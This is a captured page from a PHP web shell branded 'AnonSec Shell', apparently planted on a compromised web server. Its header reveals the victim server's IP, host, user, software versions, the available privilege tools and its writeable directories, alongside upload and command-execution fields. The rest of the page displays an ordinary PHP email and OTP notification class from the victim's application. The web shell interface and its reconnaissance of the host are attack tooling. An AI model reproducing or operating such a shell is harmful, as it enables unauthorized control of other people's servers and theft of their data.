AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/application/autoload/Notify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/application/autoload/Notify/Email.php
<?php

Class Notify_Email
{


    protected $contents;
    protected $values = array();

    public static function _init()
    {
        global $config;
        $sysEmail = $config['sysEmail'];
        $sysCompany = $config['CompanyName'];
        $mail = new PHPMailer();
        $mail->CharSet = 'UTF-8';
        //check for smtp
//        $e = ORM::for_table('sys_emailconfig')->find_one('1');
//        if($e['method'] == 'smtp'){
//            $mail->IsSMTP();
//            $mail->Host = $e['host'];
//            $mail->SMTPAuth = true;
//            $mail->Username = $e['username'];
//            $mail->Password = $e['password'];
//            $mail->SMTPSecure = $e['secure'];
//            $mail->Port = $e['port'];
//        }
        $mail->SetFrom($sysEmail, $sysCompany);
        $mail->AddReplyTo($sysEmail, $sysCompany);
        return $mail;
    }


    public static function _log($userid, $email, $subject, $message, $iid='0')
    {
        $date = date('Y-m-d H:i:s');
        $d = ORM::for_table('sys_email_logs')->create();
        $d->userid = $userid;
        $d->sender = '';
        $d->email = $email;
        $d->subject = $subject;
        $d->message = $message;
        $d->date = $date;
        $d->iid = $iid;
        $d->save();
        $id = $d->id();
        return $id;

    }


    public static function _send($name,$to,$subject,$message,$uid='0',$iid='0',$cc='',$bcc='',$attachment_path='',$attachment_file=''){

        global $_app_stage;

        self::_log($uid,$to,$subject,$message,$iid);

        if($_app_stage == 'Demo'){

            return true;

        }

        $e = ORM::for_table('sys_emailconfig')->find_one(1);

        $method = $e->method;

        if(($method == 'smtp') || ($method == 'phpmail')){

            $mail = self::_init();


            if($method == 'smtp'){
                $mail->IsSMTP();
                $mail->Host = $e['host'];
                $mail->SMTPAuth = true;
                $mail->Username = $e['username'];
                $mail->Password = $e['password'];
                $mail->SMTPSecure = $e['secure'];
                $mail->Port = $e['port'];
            }

            $mail->AddAddress($to, $name);

            if($cc != ''){
                $mail->AddAddress($cc);
            }

            if($bcc != ''){
                $mail->AddBCC($bcc);
            }

            if($attachment_path != ''){
                $mail->AddAttachment($attachment_path, $attachment_file,  'base64', 'application/pdf');
            }

            // check for attachment



            $mail->Subject = $subject;
            $mail->MsgHTML($message);

                $mail->Send();
             

        }
        else{

            global $config;
            $sysEmail = $config['sysEmail'];
            $sysCompany = $config['CompanyName'];

            $headers  = 'MIME-Version: 1.0' . "\r\n";
            $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";

// Additional headers

            $headers .= 'From: '.$sysCompany.' <'.$sysEmail.'>' . "\r\n";

            if($cc == ''){

              //  $headers .= 'To: '.$name.' <'.$to.'>' . "\r\n";

            }
            else{
                $cc_parts = explode('@',$cc);
                $cc_username = $cc_parts[0];
                $headers .= 'To: '.$cc_username.' <'.$cc.'>' . "\r\n";
            }

            if($bcc != ''){

                $headers .= 'Bcc: '.$bcc.'' . "\r\n";

            }


            mail($to, $subject, $message, $headers);


        }





        //add log



    }

    public static function _test()
    {
        $mail = self::_init();
        $email = 'sadia@ibilling.io';
        $mail_subject = 'Test Email';
        $name = 'Sadia';
        $body = 'Hello this is test email body';
        $mail->AddAddress($email, $name);
        $mail->Subject = $mail_subject;
        $mail->MsgHTML($body);
        $mail->Send();

    }

    public static function _otp($otp,$name,$email)
    {
        $mail = self::_init();
        global $config;

        $sysCompany = $config['CompanyName'];
        $mail_subject = $sysCompany . ' OTP (One Time Password)';

        $body = 'Your '.$sysCompany.' password has been verified and OTP is required to proceed further. Your current session OTP is '.$otp.' and only valid for this session. If you didn\'t login, please contact us immediately.';
        $mail->AddAddress($email, $name);
        $mail->Subject = $mail_subject;
        $mail->MsgHTML($body);
        $mail->Send();

    }




   

   }

Anon7 - 2022
AnonSec Team